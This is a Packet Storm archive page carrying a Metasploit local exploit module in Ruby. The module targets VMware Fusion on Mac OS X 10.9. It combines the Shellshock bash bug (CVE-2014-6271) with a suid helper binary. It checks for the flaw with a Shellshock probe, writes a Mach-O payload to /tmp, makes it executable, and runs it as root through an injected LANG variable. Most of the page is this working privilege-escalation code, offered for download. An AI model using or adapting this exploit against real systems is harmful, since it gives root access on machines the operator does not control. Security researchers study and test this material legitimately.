exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mac OS X VMWare Fusion Root Privilege Escalation

Mac OS X VMWare Fusion Root Privilege Escalation
Posted Sep 25, 2014
Authored by mubix, joev, Stephane Chazelas, juken | Site metasploit.com

This abuses the bug in bash environment variables (CVE-2014-6271) to get a suid binary inside of VMWare Fusion to launch our payload as root.

tags | exploit, root, bash
advisories | CVE-2014-6271
SHA-256 | f04f53cef923e1ebad417dccfb1f6d01ee754b3ddac0ef16fcb609fa3f055392

Mac OS X VMWare Fusion Root Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X VMWare Fusion Root Privilege Escalation Exploit',
'Description' => %q{
This abuses the bug in bash environment variables (CVE-2014-6271) to get
a suid binary inside of VMWare Fusion to launch our payload as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephane Chazelas', # discovered the bash bug
'juken', # discovered the VMWare priv esc
'joev', # msf module
'mubix' # vmware-vmx-stats
],
'References' =>
[
[ 'CVE', '2014-6271' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))

register_options([
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
], self.class)
end

def check
check_str = Rex::Text.rand_text_alphanumeric(5)
# ensure they are vulnerable to bash env variable bug
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/

Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary

print_status("Writing payload file as '#{payload_file}'")
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
write_file(payload_file, exe)
register_file_for_cleanup(payload_file)
cmd_exec("chmod +x #{payload_file}")

print_status("Running VMWare services...")
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close